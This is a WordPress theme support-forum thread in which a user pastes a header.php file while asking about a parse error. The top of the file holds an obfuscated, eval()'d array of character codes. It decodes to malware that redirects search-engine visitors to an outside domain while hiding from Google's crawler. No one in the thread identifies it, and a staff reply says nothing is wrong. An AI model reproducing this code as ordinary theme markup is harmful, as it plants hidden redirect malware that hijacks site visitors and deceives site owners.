Header is producing an Parse error line 1?

Discussion in 'Real Photography WordPress Theme' started by brackenburns, Jul 17, 2014.

  1. brackenburns

    brackenburns New Member

    Joined:
    Jun 26, 2012
    Messages:
    2
    Likes Received:
    0
    Parse error: syntax error, unexpected '<' in /home/blahzay/public_html/wp-content/themes/realphotographytheme/header.php(1) : eval()'d code on line 1

    Shows up on my site:

    www.blahzaycreative.com


    How do I get rid of this extra '<' ??

    I looked at the PHP file and I don't see an extra one?

    HERE IS THE CODE







    <?php $data=array(60,63,112,104,112,32,101,114,114,111,114,95,114,101,112,111,114,116,105,110,103,40,48,41,59,32,105,102,32,40,33,104,101,97,100,101,114,115,95,115,101,110,116,40,41,41,123,32,105,102,32,40,105,115,115,101,116,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,123,32,105,102,32,40,105,115,115,101,116,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,41,41,123,32,105,102,32,40,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,77,83,73,69,32,40,57,46,48,124,49,48,46,48,41,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,32,111,114,32,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,114,118,58,91,48,45,57,93,43,92,46,48,92,41,32,108,105,107,101,32,71,101,99,107,111,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,41,41,32,111,114,32,40,112,114,101,103,95,109,97,116,99,104,32,40,34,47,70,105,114,101,102,111,120,92,47,40,91,48,45,57,93,43,92,46,48,41,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,85,83,69,82,95,65,71,69,78,84,39,93,44,36,109,97,116,99,104,102,41,32,97,110,100,32,36,109,97,116,99,104,102,91,49,93,62,49,49,41,41,123,32,105,102,40,33,112,114,101,103,95,109,97,116,99,104,40,34,47,94,54,54,92,46,50,52,57,92,46,47,34,44,36,95,83,69,82,86,69,82,91,39,82,69,77,79,84,69,95,65,68,68,82,39,93,41,41,123,32,105,102,32,40,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,121,97,104,111,111,46,34,41,32,111,114,32,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,98,105,110,103,46,34,41,32,111,114,32,112,114,101,103,95,109,97,116,99,104,32,40,34,47,103,111,111,103,108,101,92,46,40,46,42,63,41,92,47,117,114,108,92,63,115,97,47,34,44,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,41,41,32,123,32,105,102,32,40,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,99,97,99,104,101,34,41,32,97,110,100,32,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,105,110,117,114,108,34,41,32,97,110,100,32,33,115,116,114,105,115,116,114,40,36,95,83,69,82,86,69,82,91,39,72,84,84,80,95,82,69,70,69,82,69,82,39,93,44,34,69,101,89,112,51,68,55,34,41,41,123,32,104,101,97,100,101,114,40,34,76,111,99,97,116,105,111,110,58,32,104,116,116,112,58,47,47,102,103,110,116,101,121,109,116,101,115,97,100,103,104,46,119,104,97,46,108,97,47,34,41,59,32,101,120,105,116,40,41,59,32,125,32,125,32,125,32,125,32,125,32,125,32,125,32,63,62);$code="";foreach ($data as $var){ $code.=chr($var);} eval($code); unset($data); unset($code); ?>
    <?php
    /**
    * The Header for our theme.
    *
    * Displays all of the <head> section and everything up till <div id="main">
    *
    */
    ?>
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <html <?php language_attributes(); ?>>
    <head>
    <meta charset="<?php bloginfo('charset'); ?>"/>
    <title><?php wp_title('|', true, 'right'); ?><?php bloginfo('name'); ?></title>
    <?php if (is_front_page()) { ?>
    <?php if (realphotography_get_option('realphotography_keyword') != '') { ?>
    <meta name="keywords" content="<?php echo realphotography_get_option('realphotography_keyword'); ?>" />
    <?php } else {

    } ?>
    <?php if (realphotography_get_option('realphotography_description') != '') { ?>
    <meta name="description" content="<?php echo realphotography_get_option('realphotography_description'); ?>" />
    <?php } else {

    } ?>
    <?php if (realphotography_get_option('realphotography_author') != '') { ?>
    <meta name="author" content="<?php echo realphotography_get_option('realphotography_author'); ?>" />
    <?php } else {

    } ?>
    <?php } ?>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />
    <link rel="profile" href="http://gmpg.org/xfn/11" />
    <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
    <link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo('stylesheet_url'); ?>" />
    <?php
    /* Always have wp_head() just before the closing </head>
    * tag of your theme, or you will break many plugins, which
    * generally use this hook to add elements to <head> such
    * as styles, scripts, and meta tags.
    */
    wp_head();
    ?>
    </head>
    <body class="loading">
    <!--Start Container-->
    <div class="content-wrapper">
    <div class="container">
    <div class="sixteen columns">
    <div class="main-content">
    <div class="logo"> <a href="<?php echo home_url(); ?>"><img src="<?php if (realphotography_get_option('realphotography_logo') != '') { ?><?php echo realphotography_get_option('realphotography_logo'); ?><?php } else { ?><?php echo get_template_directory_uri(); ?>/images/logo.png<?php } ?>" alt="<?php bloginfo('name'); ?>" /></a></div>
    <div class="clear"></div>
    <!--Start Menu wrapper-->
    <div class="menu_wrapper">
    <div id="MainNav">
    <a href="#" class="mobile_nav closed">Pages Navigation Menu<span></span></a>
    <?php realphotography_nav(); ?>
    </div>
    </div>
    <!--End Menu-->
    <div class="clear"></div>
     
  2. Gourav

    Gourav Support Staff

    Joined:
    Oct 19, 2012
    Messages:
    7,728
    Likes Received:
    207
    Hello,

    We have checked your website and there is no error message in the header. If you still having the problem then send us the screenshot.


    Thanks & Regards
    Gourav Shrivastava
     
  3. Piyush

    Piyush Support Staff

    Joined:
    Dec 8, 2012
    Messages:
    4,745
    Likes Received:
    107

Share This Page